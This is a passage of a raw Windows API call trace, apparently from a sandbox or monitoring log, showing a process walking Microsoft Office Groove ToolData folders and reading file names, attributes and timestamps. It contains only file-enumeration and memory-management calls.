dwReserved1=0x0, cFileName="Hiring Requisition.fdt", cAlternateFileName="")) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a52fdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x17d6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="POLICIES.FDT", cAlternateFileName="")) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16b33, dwReserved0=0x0, dwReserved1=0x0, cFileName="Process Library.fdt", cAlternateFileName="")) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x18ead, dwReserved0=0x0, dwReserved1=0x0, cFileName="Status Report.fdt", cAlternateFileName="")) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Track Issues.fdt", cAlternateFileName="")) returned 1 [0078.739] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e666, dwReserved0=0x0, dwReserved1=0x0, cFileName="Track Issues.fdt", cAlternateFileName="")) returned 0 [0078.739] GetLastError () returned 0x12 [0078.739] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11beeb8) returned 1 [0078.739] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04ba8) returned 1 [0078.740] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11beca8) returned 1 [0078.740] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="")) returned 1 [0078.740] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="")) returned 1 [0078.740] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="")) returned 1 [0078.740] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewFrame.html", cAlternateFileName="")) returned 1 [0078.740] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormToolImages.jpg", cAlternateFileName="")) returned 1 [0078.740] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x167d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveFormsMetaData.xml", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MENUS.JS", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5836a590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_arrow.gif", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d273e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEARCH.GIF", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x31, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACER.GIF", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc118, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x103f, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.CSS", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.ICO", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x505b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.JS", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEWBY.GIF", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewDblClick.js", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewSelectionChanged.js", cAlternateFileName="")) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewSelectionChanged.js", cAlternateFileName="")) returned 0 [0078.741] GetLastError () returned 0x12 [0078.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8270) returned 1 [0078.741] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0078.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8378) returned 1 [0078.741] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.741] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="")) returned 1 [0078.741] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.742] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0078.742] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0078.742] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11c8048 [0078.742] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11c8048, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11c8048, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0078.742] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.742] NtClose (Handle=0x170) returned 0x0 [0078.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0078.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0078.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0078.743] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.743] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0078.743] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0078.746] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.747] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0078.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8270 [0078.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0078.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1870 [0078.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11beca8 [0078.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.748] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="")) returned 1 [0078.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.748] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1890 [0078.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11beeb8 [0078.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.749] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="")) returned 1 [0078.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.749] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.749] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac18b0 [0078.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0eb0 [0078.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.750] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="")) returned 1 [0078.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac18d0 [0078.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c0fb8 [0078.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x45c0) returned 0x11c8048 [0078.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0078.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.751] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0078.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac18f0 [0078.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11c10c0 [0078.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.751] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, 